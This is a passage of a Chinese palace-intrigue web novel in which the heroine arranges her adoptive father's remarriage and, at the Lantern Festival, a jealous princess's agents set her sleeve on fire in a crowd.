晏逐星万万没算到骆文缨是这样一个想法,一时间惊呆了。 “表姑真是奇女子。”她喃喃自语。 “这有什么奇不奇的。”骆文缨笑了。 “想嫁人没错,不想嫁人也没错,不过是各自的选择罢了。” “只要能对自己的选择负责,不要后悔就好。” 她还有别的话没说出来,怕吓着面前的小姑娘。 她想的是她会武功,有表哥表嫂撑腰,定远侯又需要她,定然不敢对她下毒手。 她嫁过去之后,以为母亲守孝为由拒绝同房,想必定远侯也无话可说。 待到一年后,按照定远侯府的倒霉程度,定远侯说不定早就死了。 若是定远侯没死,那她便与他商议做一对契约夫妻。 他可以随意纳姨娘,只要不影响她当家主母的地位就好。 若定远侯不同意,想要霸王硬上弓,她也不介意送他一程。 这种逼死发妻的男人,死了就死了。 反正当徒有虚名的侯门主母,和当丧夫的侯门主母,对她来说没有区别。 “此事你得跟义父义母再商议商议,这个节骨眼上若是你嫁到定远侯府,恐怕会惹来非议。温家很可能把脏水泼到你身上。”晏逐星提醒。 骆文缨也想到了这一点。 温家人对温如霜的死不服,只是如今她身上扣着拐带孩童的罪名,不好洗清。 但若是他们将温如霜之死,扣在她头上,说她与定远侯早有私情,蓄意谋害温如霜上位。 或许有人就会相信了。 “无妨,我急着嫁人的事情早就传遍了京城。京城不是温家的一言堂,还轮不到他们想怎么说就怎么说。”骆文缨不慌不忙地开口。 “只要定远侯上门求娶,表兄表嫂当众拒绝。旁人就知道此事与我无关了。” “而后他一而再再而三求娶,表兄表嫂被他诚意所感动,而我的母亲也即将病逝,为了冲喜,我嫁给他,合情合理。” 晏逐星没想到她已经考虑得那么长远了。 但她还是觉得骆文缨这样的女子配定远侯实在是可惜了。 骆文缨看出了她想要劝解的意思,斩钉截铁道:“你无需多劝,我今日来是希望你能帮我一起说服表嫂。有你帮着劝,她一定会答应,进而替我说服爹娘。” 晏逐星没想到骆文缨看着文文静静很好说话的样子,实际上竟然这么有主见。 她叹了一口气:“我昨日才劝义母不要让您嫁过去,今日再改口,你觉得她能听我的吗?” “能!怎么不能!”骆文缨对她寄以厚望。 “你连敦儿都能安抚好,说服表嫂岂不是轻轻松松的事。” “日后我成了你的继母,保准护着你,再给你挑一门好亲事。若你像我一般不愿意嫁人,我也不会逼你,你可以留在侯府一辈子。反正我的嫁妆丰厚得很,养得起你。” 晏逐星听到这话,一瞬间竟然有些心动了。 很明显骆文缨当上侯府主母之后不会干涉她,比没有接触的祝红玉来说要靠谱得多。 “骆表姑,你让我好好想想。”晏逐星还是没敢马上答应下来。 “你不是都派人去打听祝红玉了么,为什么她可以我不行?”骆文缨很是不解。 第137章 退婚的理由 晏逐星一时间哽住了。 她不知道该怎么跟骆文缨解释。 她找祝红玉,是想要定远侯死。 祝红玉乃是五军营佐击将军祝祷之女,今年二十二,被退婚后至今未嫁人。 她被退婚的理由在京中那也是百年难得一见。 未婚夫逛青楼被她撞见,不但不认错,还嘴硬说男人风流点很正常。 祝红玉听完当场就把人揍了一顿,这门亲事自然黄了。 她这种眼里容不得沙子的性格,正好是晏逐星想要的。 祝红玉的父亲祝祷虽只是从四品的五军营佐击将军,官阶不算高,但手握京城精锐,且众所周知他十分疼爱祝红玉这个女儿。 这两年一直在给女儿相看,但迟迟没有找到合适的。 背地里不知道被多少人笑话他养了个嫁不出去的老姑娘。 祝红玉不愿父亲被人嘲笑,也想嫁人,但有她当街暴揍未婚夫的那件往事在,很少有人愿意与他们结亲。 故而一直耽误到了现在。 晏逐星打算和祝红玉谈妥之后,请烈国公夫人做媒,自己再从中说合。 她会向定远侯暗示,有了她和国公府这层利益关联已经足够,不必再强求其他,不如与祝家联姻。 想必以定远侯的性子,只要见面时祝红玉稍微放软姿态,再加上她的游说,定远侯就不会拒绝这门婚事。 事成之后,阮寄薇的孩子生下来,就会养到祝红玉名下。 成为名正言顺的嫡子,继承侯府。 但这个合作未必能成,成了之后祝红玉也未必会一直与她合作。 毕竟她才二十二。 她若想自己生一个孩子继承侯府怎么办。 因而晏逐星只把这当做一个临时过渡的计划。 她可以先用这桩婚事稳住定远侯,让他不要打骆文缨的主意。 将婚事推迟到半年后,届时他死了,这桩婚事也可以不了了之。 如今骆文缨主动提出要嫁定远侯,将其视若棋子,倒是比祝红玉更合适。 “你怎么不说话了?”骆文缨见她迟迟不语,忍不住追问。 “骆表姑,说句大逆不道的,我给定远侯找夫人并非为了他好。”晏逐星半真半假地开口了。 “当初温如霜将我拐回家,我不信他毫不知情。他如今不过是瞧见义父义母对我好,我有利用价值,所以才哄着我罢了。” “当初温氏与晏家兄妹折辱我之时,他冷眼旁观,甚至还火上浇油。” “他如今想娶妻,我便想找一个能与我合作之人,不让他的日子过得太痛快,出出我心头的恶气。” 晏逐星说得十分委婉。 骆文缨眼前一亮。 她就喜欢这种有仇报仇,有恩报恩的性子。 “我可以。你想怎么合作,我都答应你。”她一把握住了晏逐星的手。 “你我各有所求,此事乃是双赢!” 晏逐星被她这句话打动了,最终还是答应帮她说服烈国公夫人。 “表姑若是嫁过去,还需将阮姨娘腹中的孩子记在名下。”晏逐星将自己的打算说了出来。 骆文缨痛快答应。 她不想给人生孩子,但也不介意养个孩子玩玩。 这样日后一个人也不会太寂寞。 “此事还需快些,我阿娘怕是坚持不了多久了。”骆文缨嘱咐。 晏逐星点点头,而后道:“义母那边,我没太大把握能说服她。但我觉得你可以实话实说,将你心里的想法告知她。” “她替你择夫婿这般慎重,是因为她关心你,爱护你,不忍你受委屈。” “你将实话说出来,她知晓你的心意,便不会再强求。” 骆文缨没想到她会提出这个建议。 思索片刻后决定还是听从她的提议。 “好,我试试看。但是你还是得帮帮我,不然就我一个人,我怕说服不了表兄表嫂。” “没问题。”晏逐星痛快答应了。 接下来几天,晏逐星为了骆文缨的婚事频繁往烈国公府走动。 两人轮番上阵,骆文缨将心里话坦白,晏逐星举手发誓一定会照顾好她。 在她们的软磨硬泡下,烈国公夫妇松口了。 毕竟骆文缨母亲真的时日无多了。 有了他们的许可,以及骆文缨本人应允,晏逐星回了一趟定远侯府,将他们的意思委婉透露给了定远侯。 定远侯欣喜若狂,看向晏逐星的眼神仿佛看绝世珍宝。 这个捡回来的女儿可比亲生的顶用多了。 定远侯甚至有些懊恼当初怎么没多收养几个女儿。 反正养孩子又不费多少钱,侯府也不缺他们一口吃的,养大了若能像晏逐星一般结交贵人,给侯府回报,那也不算吃亏。 “不过父亲,您若想得到国公府的首肯,还是不能让温家人把脏水泼到骆表姑身上。”晏逐星提醒。 “哼。我们定远侯府早已与温家恩断义绝,我要娶妻,他们管得着么。”定远侯冷哼。 想到他马上要娶到烈国公的表妹,定远侯感觉自己的腰杆都挺直了。 “你放心,我一定会拿出最大的诚意,让所有人知道,是我主动求娶骆姑娘。”定远侯略一沉思,就有了主意。 正月十五就要到了。 届时骆文缨定然会出去赏花灯散心,他可以当着很多人的面制造一个偶遇,然后请人去打听偶遇的人是谁。 借由第三方的口将他对骆文缨一见钟情的事情宣扬出去。 而后,再登门求娶。 国公府拒绝也不要紧,他再请冰人登门就是。 来回两次就差不多了,毕竟听说骆文缨的母亲撑不了多久了。 到时候所有人都知道,骆文缨是为了满足母亲遗愿嫁给他的,温家人休想给温如霜的死翻案。 那个毒妇,死了也是活该。 “父亲心中有主意就好。”晏逐星反复跟他确认好他的打算后,便回了自己的宅邸。 一进门,九栀便压低声音附耳道:“小姐,府外有人盯着您,已有数日。” 晏逐星顿时有些疑惑,谁会盯着她呢。 难不成是温家人? 第138章 彻底起杀心 “可查清是谁了?”晏逐星沉声询问。 “那些人虽然伪装成了菜贩子,倒夜香的,卖小馄饨的,轮流盯梢。但奴婢已经查清,他们都出自朝华大长公主府。” 九栀一句话让晏逐星警惕了。 朝华大长公主盯她做什么。 难不成那日在长乐宫,她一个在边边角角看戏的被记恨上了? 朝华大长公主不敢动谢翊宁,所以准备拿她这个没有背景的“商户之女”撒气? 晏逐星全然没想到朝华大长公主府的那些下人盯着她,与永安王无关,反倒是与裴明镜有关。 她当即将衔蝉叫来,让她去永安王府走一趟。 此事因谢翊宁而起,自然要找谢翊宁帮忙。 她才不会逞强。 万一中了大长公主府的阴招,她未必还有重活一次的好运道。 衔蝉听完她的吩咐,脸色顿时变得严肃。 “奴婢这就去找王爷。” “小姐,那咱们接下来该怎么办?”九栀忍不住追问。 “等。等他们按捺不住,等永安王查清。”晏逐星十分淡定。 这些日子跑来跑去的快累死她了。 “对了,小姐还有一件重要的事。”见晏逐星要躺下,九栀赶紧汇报。 “还有什么事?” “宋氏腹中的胎儿,已经请好几个大夫都诊过了,都说是女儿。”九栀赶紧将这事说出来、 晏逐星听完眉头皱了起来。 她当初答应过王素娥,会给她的弟媳妇宋氏腹中的孩子谋一个好前程。 当时想的是,她这腹中若是儿子,那就是定远侯府未来的世子。 可如今却是个女儿,她还得想法子找个男孩来。 否则定远侯死后,侯府的财产可就得分给族人了。 她答应过阮寄薇,要让她当未来侯府主人的生母,要让她享受一辈子侯府的荣华富贵。 此事不能食言。 “我知道了。”晏逐星略一沉思,让人将关万海夫妇请了过来。 “你二人在京中呆了许久,也该归家了。” 听到这话,关万海夫妇差点喜极而泣,连忙点头:“是呀,是呀。我们该回家了。” 说完又觉得这一副从虎狼窝里劫后余生的语气不太对,关万海又道:“马上要十五了,大小姐可要随我们一块回关家过节?” 晏逐星摇了摇头:“不,我不去。但我有事要你们帮忙。” 关万海夫妇对视一眼,都看到了彼此眼里的挣扎。 晏逐星开口,他们哪有拒绝的份。 “大小姐请讲。”他们认命地低下了头。 “待你们回了通州,替我暗中留意那些身怀六甲却又无力抚养的妇人。若她们生下后无意抚育,只管传信于我,将情况告知,若有我需要的人,我自会派人去接手。” 晏逐星一句话让两人震惊了。 小姑娘还没及笄,就已经考虑养孩子了? “此事需要暗中秘密行动。你们若敢泄密,那我便将你们诬告温如霜的事情告诉温家人。”晏逐星不轻不重地一句话立刻打消了两人继续打探的念头。 定远侯他们惹不起,眼前的“女儿”他们更惹不起。 还是老老实实听话办事吧。 “是,大小姐放心,此事我们一定会替您办好。”关万海垂头丧气地回应。 他们一开始听定远侯的假冒晏逐星生身父母就错了。 但如今一步错,步步错,再也没有回头路。 晏逐星给了双鲤一个眼神,让她将这些时日从定远侯那边薅回来的银票都给了关万海夫妇。 “关老板费心了。” 关万海夫妇看着眼前的银票,瞪圆了眼睛。 没想到晏逐星竟然给了他们一千两银票! “大小姐,这怎么使得?!”关万海吓了一跳,连连摆手推拒,但眼睛却怎么也离不开那一叠银票。 好心痛,好想要,但不敢。 谁知道晏逐星会不会像定远侯一样翻脸不认人。 “陈三妹那边,关老板也别忘了。早一点找到她,流光缎就能早一点产出来。”晏逐星提醒。 关万海眼里露出了一抹焦虑:“已经派人去找了,就是不知道什么时候能找到。不过估摸着二月的时候就会有消息传回来了。” “嗯,毕竟找人和试错都需要银子,哪能让关老板独自破费。这银票,你就收下吧。”晏逐星将银票直接塞到了他们手里。 关万海脸上堆起一抹笑,拍着胸脯道:“那我就却之不恭了,多谢大小姐。” 他先前的烦闷顿时一扫而空。 给大小姐办事比给定远侯办事幸福多了。 * 衔蝉回了永安王府,照夜第一时间出来见她。 得知有人在晏逐星宅子前盯梢,他当即将此事汇报上去。 谢翊宁亲自见了衔蝉。 “九栀说那些人是大长公主府的。他们只是盯着小姐的行踪,什么也没做。”衔蝉将所有的事情,事无巨细地汇报了一遍。 谢翊宁当下的想法和晏逐星一样。 他那位好姑母恐怕是因为上回在太后宫里的事情,记恨了他而又不敢对他动手,所以欺软怕硬盯上了晏逐星。 “多派些人手护着她,然后不用动,盯着他们,看看他们究竟想做什么。查清他们从什么时候开始盯着她的,之前都见过什么人。”谢翊宁吩咐了下去。 “是。”停云和照夜应下,立刻行动了起来。 衔蝉老实地站在原地等候王爷的吩咐。 谢翊宁将皇后赏赐的糕点全都命人装给了衔蝉打包带走。 “告诉她,有本王在,无需担忧,此事不会有人能伤她半分。若是觉得烦闷,吃些点心就是。” “多谢王爷赏。”衔蝉高高兴兴地拿着点心盒回了晏宅。 盯着他们的公主府下人瞧见衔蝉去了王府又回来,赶忙将此事告知了主子福安郡主。 “那狐狸精竟同时攀扯上裴大人和七表哥了?” 福安郡主眉头紧皱。 她不由有些好奇,晏逐星究竟生得什么模样,怎么能让两人都对她另眼相待。 “她很美么?生的什么模样?本郡主怎么一点印象也没有。”福安郡主看向了身边的丫鬟。 汀兰听她这语气,便知道她如今很不高兴,斟酌着小心翼翼地回答道:“郡主,您见过她的呀。” “什么时候?”福安郡主有些茫然。 定远侯府的那点破事,她也有所耳闻,但她确实没有亲眼见到过她呀。 毕竟那样的蝼蚁,不配出现在她面前。 汀兰不得不提起那日长乐宫之事。 她这么一说,福安郡主总算有印象了。 “竟然是她?” 将晏逐星的脸对上后,那日的屈辱感瞬间涌上心头。 在皇室中人面前丢脸就算了,一个商户女竟然也敢看她笑话。 她对晏逐星彻底起了杀心。 第139章 以身作诱饵 三日后,正月十五,上元佳节。 夜幕降临,京城早已沉浸在一片流光溢彩的灯海之中。 “小姐,咱们真的要出门吗?”双鲤有些犹豫。 虽然她早就期待着出门赏花灯,但如今真要出去了,她又有些害怕。 毕竟大长公主府的人在暗中盯着,不知道会使什么坏呢。 “去啊,你不是早就吵着要赏花灯了吗?”晏逐星刮了刮她的鼻尖。 她也想过要不要一直待在家里,但她总不可能躲一辈子吧。 倒不如以身作诱饵,出门给他们机会让他们下手。 这样永安王逮到他们的恶行,才好名正言顺地收拾他们。 “可是太危险了。和花灯比起来,还是小姐的安危更重要。”双鲤眼里满满都是担忧。 “无需担忧,有永安王在呢。”晏逐星笑着摸了摸她的脑袋。 一旁的衔蝉也跟着点头:“是呀,照夜说了,王爷已经暗中安排了四个护卫跟着小姐,今夜不会出事的。” 听到永安王的名号,双鲤终于放下心来,一行人换了衣裳高高兴兴出门赏灯。 门口盯着的人瞧见他们出门,立刻赶回了公主府汇报。 福安郡主唇角上扬,笑意不达眼底:“走吧,咱们也出门赏灯。” * 晏逐星与福安郡主出门没多久,定远侯也低调地约上了忠毅伯出门放河灯,美名其曰给儿子祈福。 “他就是个倒霉催的,你跟他一块出门做什么,不嫌晦气?”忠毅伯夫人宁氏听到夫君要和定远侯出门,气得拦住了他。 “你不懂。这时候乃是雪中送炭之际。我是感念鸿升兄一片爱子之心。他连着死了三个孩子,怪可怜的。”忠毅伯面对夫人的怒火不敢说出实话。 他也不想陪定远侯出门的。 可谁让他之前收了定远侯送来的一只蛐蛐,那只蛐蛐让他赢了不少钱。 如今人家只是邀请他一块给死去的孩儿放河灯祈福,他若不去,未免太过凉薄。 “夫人,你放心,放完河灯我就回家,绝不和他呆太久。”忠毅伯赶忙发誓。 “伯爷还没好么?我家侯爷恭候已久。”定远侯身边的长随在门外扬声询问。 “来了来了。”忠毅伯赶忙答应。 宁氏无奈,只得看着他离开了。 忠毅伯上了定远侯的马车,一路上定远侯长吁短叹,哀叹几个孩子亡故之后多么难受,又感慨温如霜不是个东西。 若时光能够倒流,他绝对不会娶温如霜。 温如霜有个当尚书的兄长,忠毅伯也不好说太多,只得含糊地附和说定远侯的几个孩子太可怜了。 终于来到了河边,他原想着点个三盏河灯就差不多了。 不曾想定远侯竟然搬出了好几箱子的河灯,一眼望去,至少有几百盏。 忠毅伯两眼一黑。 这么多盏河灯,盏盏都需要亲手点燃,还要一一念诵祭文,这得耗到几时才能结束啊。 届时,夫人不会疑心他借着陪定远侯放灯的名头溜出去与人厮混了吧? 忠毅伯还在发呆,定远侯已经蹲在河边,哀哀切切地放起了河灯。 定远侯的背影在粼粼水光里看起来显得有些孤寂,忠毅伯也不好再说什么,只得硬着头皮陪他一块点燃了河灯。 一盏、两盏、三盏…… 一盏接一盏河灯放入水里,定远侯口中念念有词,看起来很是专注。 可他的目光总会借着俯身放灯的间隙,状似无意地飞快扫过下游不远处那座青石拱桥。 他在等骆文缨出现。 终于,在忠毅伯放灯放得眼皮发沉、几乎要打起哈欠时,下游那座青石拱桥上,定远侯期盼已久的身影终于出现了。 他立刻不动声色地深吸一口气,酝酿情绪。 恰巧手边一盏河灯的灯芯“噼啪”轻响,爆出几点火星。 他立刻像是被烫着似的,夸张地倒抽一口冷气,陡然拔高了声音。 “莫不是明月他们显灵,来看我了?!” 他声音颤抖,眼眶瞬间通红,将手中的灯放下,轻轻拨了一下水面,眼泪啪嗒落下。 “呜呜呜,明月是你回来了吗,爹好想你啊。若是你也在,肯定也很想看这漫天的花灯吧。” 忠毅伯被他这突如其来的眼泪吓了一跳,困意全消,赶忙凑过来笨拙地拍着他的后背安慰道: “鸿升兄,节哀啊!人死不能复生,咱们活着的人总得朝前看啊。孩子们在天有灵,也必定盼着你能放下悲痛,好好过日子才是!” 定远侯像是被这句话戳中了,哭声更显凄凉绝望,甚至带上了几分自暴自弃的意味: “朝前看?望平兄,你说得轻巧!我如今形单影只,府里冷得像冰窖!夜里醒来连个说话的人都没有……孩子们都走了,我这把老骨头还活着做什么?” 忠毅伯听着这话心里直犯嘀咕:不是前两个月才纳了个美妾么,怎么就形单影只了。 他还没想好怎么回应,就看见定远侯用力捶了下自己的胸口,哭得更厉害了。 “望平兄家有贤妻,儿女承欢膝下,日子过得和和美美。你哪里懂得我这鳏夫的苦楚?我这辈子怕是再也娶不着妻子,也就这样了!” 忠毅伯想到自己家中确实温暖,定远侯又真的连死了三个孩子,他在他面前真情流露、涕泪横流,他怎么还能那样想他呢。 妾侍和夫人那自是不同的。 他心中愧疚同情之心大起。 他拍着定远侯的背,脱口劝道:“鸿升兄何出此言!你正值壮年,何愁找不到良配续弦?逝者已矣,你也该为自己打算,寻一位知冷知热的夫人,开枝散叶啊。” 定远侯等的就是这句“续弦”。 他哭声戛然而止,像是被忠毅伯的话点醒了。 他猛地抬起头,双手紧紧抓住忠毅伯的手臂,激动道: “续弦?望平兄说得对!我不能再这样下去了,我得找一个知冷知热的贴心人共度余生才是。” 他喘了口气,手指精准地指向了桥头的骆文缨。 “望平兄可知桥头那位姑娘是谁家的小姐?方才惊鸿一瞥,我的心跳得厉害。若她尚未婚配,我定要登门求娶!这位姑娘这个时候出现,定是孩子们在天之灵,怜我孤苦,为我挑选的良配啊。” 第140章 裴明镜求签 忠毅伯顺着他指的方向看过去,正好瞧见了骆文缨。 她身旁不远处是烈国公夫人和尉迟敦。 忠毅伯一下就认出来了,脱口而出:“那是骆家姑娘,烈国公的表妹。” “可曾婚配?”定远侯假装一无所知。 忠毅伯摇了摇头:“不曾。听说当初是和霍将军的长子定了娃娃亲,只可惜那是个福薄的,早早就没了。她为了霍家那位守身如玉至今未嫁。” “这位骆姑娘真是情深义重之人啊,谁能娶了她,真是三辈子修来的福气。”定远侯称赞完之后,又露出了一抹失落的神情。 “她这般好,我岂不是没机会了?” 忠毅伯忙道:“那也未必。你这些日子不出府,想必不知道她的事情。烈国公一家一直在帮她相看呢。听说那骆姑娘的母亲快死了,临终心愿就是看她嫁人。” “只是烈国公他们眼光高,一直没找到合适的。” “那你说,我若求娶能行么?”定远侯流露出了一抹脆弱。 “罢了,定是不成的。我这样活着也没什么意思,不如随孩子们去了吧。” 说着他就要往河里走。 忠毅伯赶忙拉住他。 定远侯今夜可不能死啊。 若他死了,最后和他待在一起的他不就成了嫌疑人了么。 他看了一眼定远侯,又看了一眼骆文缨,看在那只蛐蛐的份上,猛地一拍大腿,咬牙道:“我觉得你们还挺般配的。你若求娶,还是很有希望的。大不了,我请母亲替你去说媒。” “此言当真?”定远侯立刻停住了脚步。 大冬天的,若是衣裳鞋子湿了水,那可是冰寒刺骨的。 “千真万确!”忠毅伯忙不迭点头,随后又想起了晏逐星。 “对了,你那个养女不是得了他们青睐么,有这层关系在,你求娶骆文缨,指定能成。” “望平兄言之有理,那就有劳令堂替我说媒了。”定远侯趁机将此事落实。 忠毅伯点点头,而后总觉得有哪里不太对劲。 没等他细想,就又被定远侯拉着继续放河灯了。 他们放的河灯数量众多,自然也引来了不少人的旁观,忠毅伯便负责解释。 定远侯这是为他去世的三个孩子放的河灯。 不少人见他这副悲伤的模样,对他多了几分同情。 而立之年,却家破人亡,实在是惨呐。 听到有人感慨他惨,定远侯忙起身道:“做人要朝前看,比起很多人来说,我已经算幸运了,先前小女显灵,又有望平兄的劝说,我如今已经看开了很多。” “望平兄,我的终身大事可就靠你了!”他拍了拍忠毅伯的肩膀,这句话掷地有声。 说完继续蹲着放河灯去了。 路过的人大着胆子问显灵是怎么一回事,忠毅伯不得不把刚刚的事情说了出来。 一传十十传百,不一会儿许多人就知道定远侯在放河灯时,逝去的孩子显灵了,替他选了未来的夫人。 忠毅伯还要帮着说媒呢。 忠毅伯:…… 他感觉他好像被定远侯摆了一道? * 晏逐星领着双鲤一行人出门赏花灯。 街道上人潮拥挤,今日来看花灯的人实在是太多了。 四面八方都是攒动的人头和斑斓的光影。 晏逐星几人一路赏灯,走着走着就被不远处临仙楼门前那座巨大的“八仙过海”走马灯棚牢牢吸引了注意力。 那灯棚足有两层楼高,彩绸环绕,灯影流转间,八位神仙栩栩如生,引得围观的人越来越多。 眼看越来越挤,晏逐星微微皱眉。 这么多人,不会出事吧。 她想了想还是放弃了,打算绕道去看别的灯。 没想到,刚一转身就遇到了裴明镜。 “大小姐,真巧啊。”裴明镜一怔,没想到遇见的竟是晏逐星。 他不动声色地扫了一眼她身边的人,只有丫鬟和护卫,没有永安王。 上元佳节,永安王竟然不邀她出来看灯么。 “是挺巧的,裴大人。京城这么大,来看个灯咱们也能遇上。”晏逐星赞同地点了点头。 裴明镜看着她的眼眸,一时间,思绪如潮翻涌。 母亲今日逼他邀福安郡主共赏灯会。 虽那日已应下婚事,心底对与郡主独处,却总横亘着一丝说不清道不明的抗拒。 因而他拒绝了母亲。 “你若想我乖乖成婚,就不要再逼我做无谓的事情。” 一句话便让母亲噤了声,不敢再提。 他不爱人多的地方,本不欲出门。 但想到晏逐星向来爱热闹,或许会出现在灯会上。 等他回过神来,人已经出了府。 街道上人潮汹涌,他有些后悔想打道回府,结果在拐角处避让不及撞上了一方简陋的卦摊。 摊主是个须发皆白的老道,摊子被撞翻,他非但不恼,反而笑眯眯地说他们有缘,让他求支签。 裴明镜对这些装神弄鬼的门道并不相信。 但不知为何,在那老道的注视下竟神差鬼使地伸出手,还是抽了一支签。 “镜里观花终是幻,水中捉月总成空。莫恋眼前虚华色,流云散尽见真容。” 裴明镜看着签文,心头莫名一跳。 老道将签接过,笑道:“公子,此签主‘缘’之一字,却非你心头所想之缘。所求非人,如揽镜花水月,纵有华彩,亦是空忙一场,终非良配。” 他顿了顿,目光似无意般掠过裴明镜身后川流不息的人群,意有所指道: “然天道有常,破妄即见真。” “公子且看,待此间浮华过眼,自有柔光初现,佳期可待。你的有缘人已在咫尺之遥,下一刻相逢,便是云开雾散,真颜显露之时。” 裴明镜给了他一两银子,并未将此虚言放在心上。 不曾想,却在下一刻遇见了晏逐星。 …… 见裴明镜没有回应她的话,晏逐星觉得自讨没趣,她不过是客气寒暄罢了。 裴明镜不想搭理她干嘛还先跟她打招呼,直接假装没看到不就行了。 她正要走,没想到裴明镜却叫住了她:“大小姐,等等。既然这么巧……” “确实巧!” 一个声音响起,打断了他的话。 第141章 她才是正缘 两人同时扭头看去,竟是福安郡主。 福安郡主露出一副人畜无害的笑容:“裴大人,晏姑娘,今日上元节,你们一块赏花灯么?” 裴明镜眉头皱起,福安郡主这话让旁人听了去,会以为他和晏逐星有私情。 届时会影响她的名声。 他断然否认:“我与晏姑娘不过是凑巧碰上罢了。” “窦夫人先前还特意打趣着让裴大人陪我去看灯,我本无意出门的,谁知竟在这大街上遇见了裴大人。” “既是如此,”福安郡主眸光微动,主动相邀,“不如咱们一同赏灯?” 她早就知道裴明镜要出来,因而特意买通了一个老道拦住裴明镜。 让老道借着签文告诫裴明镜。 他心中所想的“缘”都是虚妄,不过是水中月、镜中花罢了。 而她李柔嘉才是他的正缘。 按照计划,她会在拐角处遇上裴明镜,应验那老道士的话。 不曾想先前一群刁民抢着看花灯拦住了她的路,耽误了片刻的功夫,裴明镜竟然就遇上了晏逐星。 这个晏逐星,果然是她的克星。 晏逐星听完她的话,心中猛地闪过一个念头。 窦淑容在撮合裴明镜和福安郡主,那么大长公主府监视她,莫非不是因为长乐宫的事,而是因为裴明镜? 毕竟窦淑容对她一直很有敌意。 她果断表明态度:“既是如此,我就不打扰二位了。你们慢慢赏灯。” “赏灯要热闹,不如晏姑娘……”裴明镜挽留的话还没说完。 停云就不知道从哪个角落里钻了出来打断了他。 “晏大小姐,我家王爷捡到你走丢的小丫鬟了,让您去领人。” 晏逐星一惊,这才发现身旁的双鲤不知道什么时候不见了。 停云指了指临仙楼最顶上那层的雅间。 被迫走丢的双鲤探出脑袋,冲晏逐星挥了挥手。 晏逐星松了一口气,冲她点了点头。 双鲤挥完手,撤回了屋内,垮着一张脸看向照夜,小声嘀咕:“侍卫大哥,下回让我来这么好的地方赏灯能不能好好说,不要直接把我拎走。我还以为遇上劫匪差点就大喊救命了呢。” 照夜面无表情。 没办法,王爷见裴大人出现就催他快点,他只能事急从权了。 见他不搭理自己,双鲤气鼓鼓地瞪了他一眼:“嘁,这么粗鲁,衔蝉姐姐才不会喜欢你呢。” “你说什么?”照夜一听这话,原本毫无表情的脸瞬间变得精彩纷呈。 “你怎么知道衔蝉姑娘不喜欢我?” “不对,你怎么知道我喜欢衔蝉姑娘?” “不,姑娘,先前是在下鲁莽,还请姑娘原谅。” “你能不能跟我说说,衔蝉姑娘会喜欢什么样的男子?” 涉及心仪的姑娘,照夜的脑子立刻变得灵活了。 这下轮到双鲤面无表情了。 距离有些远,晏逐星听不清双鲤说了什么,但看她挥手那个孔武有力的劲,就知道她肯定没吃什么亏,也就放心了。 她冲停云点了点头:“好,我随你去见王爷。” 而后扭头看向了裴明镜和福安郡主。 “裴大人,福安郡主,我的丫鬟还在等我呢,我先走了。” 福安郡主唇角勾起一抹淡淡的笑:“临仙楼人多,晏姑娘注意安全。” “多谢郡主关心。”晏逐星顿时升起了警惕心。 福安郡主不可能这么好心地提醒她。 她跟着停云往外走。 停云原本要带她绕小路直抵临仙楼。 奈何临仙楼这灯棚吸引了众多百姓,原本的路被堵得水泄不通,小路也已经挤满了人。 这时,一个端着热气腾腾汤碗的老婆婆似乎被人狠狠绊了一下,脚下一个趔趄,整个人带着那碗滚烫的汤水直直朝晏逐星撞去。 “小姐当心!”身侧的衔蝉惊呼出声。 晏逐星下意识侧身想躲,但人群太挤,避无可避。 滚烫的汤汁大半泼在了她袖口与斗篷下摆处,油腻湿滑一片,引来周围一片惊呼和抱怨。 “对不住!对不住!人太挤了!实在对不住!”那老婆婆连连道歉,手忙脚乱地似乎想帮晏逐星擦拭,油腻腻的手在她袖口和下摆快速抹了几下。 混乱中,谁也没注意到她指尖沾染了别的东西。 一股极其微弱、刺鼻的古怪气味钻入晏逐星鼻腔,但瞬间被浓烈的汤油味、汗味和周边糖炒栗子的甜香所冲散。 晏逐星眉头微蹙,那股转瞬即逝的怪味让她心头掠过一丝不适。 见那老婆婆要退走,晏逐星却一把抓住了她的胳膊。 她不能放过任何可疑的人。 老婆婆被她一抓,惊得连连作揖求饶:“贵人,我不是故意的,我三岁的孙儿等我归家呢。您饶了我这一回吧。” “婆婆言重了。汤撒了是我的不是,该赔您一份。省得你两手空空回家,你的孙儿失望。”晏逐星的手死死抓住她的胳膊不放,脸上的笑容却十分和善。 老婆婆听到这话,没有喜只有惊,她连连摆手:“我冒犯在先,怎敢劳烦贵人。” “我家小姐最是心善,老婆婆您就放心跟我们走吧。”九栀也看出了这个老婆婆的不对劲,伸手扣住了她另一只胳膊。 “腊八那日,我家小姐还在城外施粥呢,你打听打听,谁不夸她一句活菩萨。” 老婆婆眼神下意识往东边一瞟,脸色变了又变,随即堆起笑容:“那老婆子真是撞大运了,多谢贵人恩典!” 就在他们转身要走的瞬间。 “哗啦啦!” 东边一个卖小灯笼的小摊似乎被挤倒了,花灯倾泻滚落一地。 有花灯被引燃,人群顿时发出一阵剧烈的推搡骚动。 晏逐星等人也被波及了。 混乱中,一个身形瘦小的妇人好心伸手扶了晏逐星一把:“姑娘当心!” 那妇人的手借着搀扶的力道,将细微的白色粉末精准撒在了晏逐星浸透油汤的袖口上。 粉末沾上的同时,妇人撒手撤退。 “刺啦。” 一声轻微却令人毛骨悚然的声音响起,紧接着一抹青绿色的火焰毫无征兆的从晏逐星袖口窜了起来。 第142章 晏逐星尸体 那火焰颜色诡异妖冶,一看就知绝非寻常烛火,燃烧速度更是快得让人反应不过来。 伴随着浓密呛人的白烟,火焰瞬间沿着晏逐星身上的油污疯狂蔓延。 “火!着火了!” “是鬼火!” “天啊!快闪开!” “救命啊!!!有鬼来了!” 灯棚下密集的人群瞬间炸开了锅,四下奔逃,场面一片混乱。 那妇人和老婆婆趁乱要跑,但他们低估了晏逐星的反应速度。 “拿下他们。” 皮肤灼痛钻心,晏逐星厉声下令,心却沉了下去。 福安郡主竟恶毒至此,不惜拉上满街百姓给她陪葬。 停云听令,果断扣住了想要逃走的瘦小妇人,利落地卸掉了她的下巴,将她和老婆子一同塞到九栀手里。 “看好他们。” 随即拔剑护在晏逐星身前,劈开汹涌人潮。 混乱中,衔蝉被冲开。 衔蝉略一思索,收回想要折返的脚步,逆着人流奋力挤向临仙楼。 先前那情况,小姐定然受了伤,必须请季太医不可,她得去找王爷。 几乎同时,楼上数道黑影飞掠而下,正是永安王暗中下令保护晏逐星的护卫。 他们拔剑出鞘,寒光闪烁间,人墙合围,将晏逐星护在中心,隔绝了冲撞。 晏逐星迅速甩脱燃烧的斗篷,但裙摆和裙子却是不好撕扯。 晏逐星目光扫过混乱的人潮,发现旁边一个粗布汉子肩上搭着的厚重羊毛斗篷。 没有丝毫犹豫,她猛地探出手,一把将那还带着体温的斗篷拽到手中。 